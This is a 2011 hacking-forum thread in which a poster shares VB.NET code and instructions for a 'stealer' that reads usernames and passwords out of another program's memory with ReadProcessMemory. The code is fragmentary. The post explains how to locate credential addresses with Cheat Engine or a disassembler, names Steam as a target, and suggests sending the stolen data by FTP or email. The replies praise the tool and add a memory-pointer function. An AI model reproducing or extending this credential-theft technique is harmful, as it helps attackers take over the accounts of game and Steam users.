![]() |
|
[.NET] [Stealer] Another Method [ProccesRead] - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151) +---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118) +---- Thread: [.NET] [Stealer] Another Method [ProccesRead] (/showthread.php?tid=948798) |
[Stealer] Another Method [ProccesRead] - The-One - Jan 3, 2011 Hey, So, I got this code which reads memory of an address, I tried a few things and I made my new stealer. This function whas ORIGNIALY made by someone I don't know, but I did remember how it worked so I just rewrote it, still all credits to him. Code Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As IntPtr, ByVal lpBaseAddress As Int32, ByRef lpBuffer As Int32, ByVal nSize As Int32, ByVal lpNumberOfBytesWritten As Int32) As LongOkey, we will use this to read something out of a PROCESS. Code Dim ACCOUNT As String = ""Very easy, and clear. I whas using this to test, thats why I call MSGBox, you can let it like normally upload it to a FTP, make it send a mail or whatever you want. The addresses: Code Dim game_server As String = &HC41938Using steam: Spoiler (Click to View) Its easy to find them, just use Cheat Engine, hook it up to the process you want to steal, log in, search for you password/username, find a static(green) pointer. Note that '&H' means that we tell VB we are using a address which is (&)Hex. These where found using a disassembler (IDA pro/Olly dbg) but you need to know Assembly for that so if you don't know that wonderful low-level language you'd better stick with Cheat Engine. Example of a static address, (GREEN = static(Address will only change when program updates), BLACK = dynamic(Address will change everytime you restart the program or function)) [img]http://www.plaatjesupload.nl/bekijk/2011/01/03/1294071481-830.png[/img] This might not work for some process, for things like chrome, IE, firefox you can better use other methods, but for other things like games, or unstored/saved passwords. Enjoy. * - fredde_jason - Jan 3, 2011 Hehe, I think I know what game this is made for๐ But you could tell me :) * - The-One - Jan 3, 2011 (Jan 3, 2011 01:22 PM)fredde_jason Wrote: Hehe, I think I know what game this is made for๐ But you could tell me :) Well, post and miss ๐ * - The-One - Jan 3, 2011 (Jan 3, 2011 01:24 PM)fredde_jason Wrote: Tibia! And he misses. Nope. It isn't browser game. * - stefsot - Jan 3, 2011 Very nice ;). In my memory-editors (simple game hacking :P) I use also a fucntion that supports reading dynamic adresses. Code Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As IntPtr*note that you can add as many offsets as you need. * - The-One - Jan 3, 2011 (Jan 3, 2011 01:33 PM)stefsot Wrote: Very nice ;). In my memory-editors (simple game hacking :P) I use also a fucntion that supports reading dynamic adresses. Yes, but for the dynamic one you can only use it once, or you have to update your addresses everytime (nah:P) * - Symbiotic - Jan 3, 2011 May I guess? It is for League of Legends. OT: Nice contribution, sure it will help a lot of people. * - stefsot - Jan 3, 2011 (Jan 3, 2011 01:39 PM)The-One Wrote: Yes, but for the dynamic one you can only use it once, or you have to update your addresses everytime (nah:P) No, you do not have to update every time. Just find a pointer and the offsets that are pointing to the dynamic address and here you are! * - The-One - Jan 3, 2011 (Jan 3, 2011 01:56 PM)stefsot Wrote: No, you do not have to update every time. Just find a pointer and the offsets that are pointing to the dynamic address and here you are! But then you can use the base_adr of the pointer with the offset, then its already static. (Jan 3, 2011 01:45 PM)Symbiotic Wrote: May I guess? It is for League of Legends. Nope. xD Thanks. ๐ค * - spike2147 - Jan 3, 2011 Hehe i know it. Not gonna say because everyone's gonna use itxD Good work. Keep it up. Sorry for what happened on msn 3-01:P * - KingCobraXD - Jan 3, 2011 WOW! This is very nice. So maybe this is how P Y R O created his steam stealer..+rep for u. =) * - The-One - Jan 4, 2011 (Jan 3, 2011 04:37 PM)KingCobraXD Wrote: WOW! This is very nice. So maybe this is how P Y R O created his steam stealer..+rep for u. =) Yea, maybe who knows :) Spoiler (Click to View) (Jan 3, 2011 02:45 PM)spike2147 Wrote: Hehe i know it. Not gonna say because everyone's gonna use itxD Haha, yea np man. Happens all the time. * - Modesty - Jan 4, 2011 (Jan 3, 2011 04:37 PM)KingCobraXD Wrote: WOW! This is very nice. So maybe this is how P Y R O created his steam stealer..+rep for u. =) Uh I never created a steam stealer xD I think you've got the wrong guy ;) * - Kลtei - Jan 4, 2011 WoW Maplestory Mabinogi Rakion FlyFF Combat Arms Counter Strike * - The-One - Jan 4, 2011 (Jan 4, 2011 10:03 AM)[ULLF] Xypher Wrote: WoW No No No No No No No Lol :P ๐ |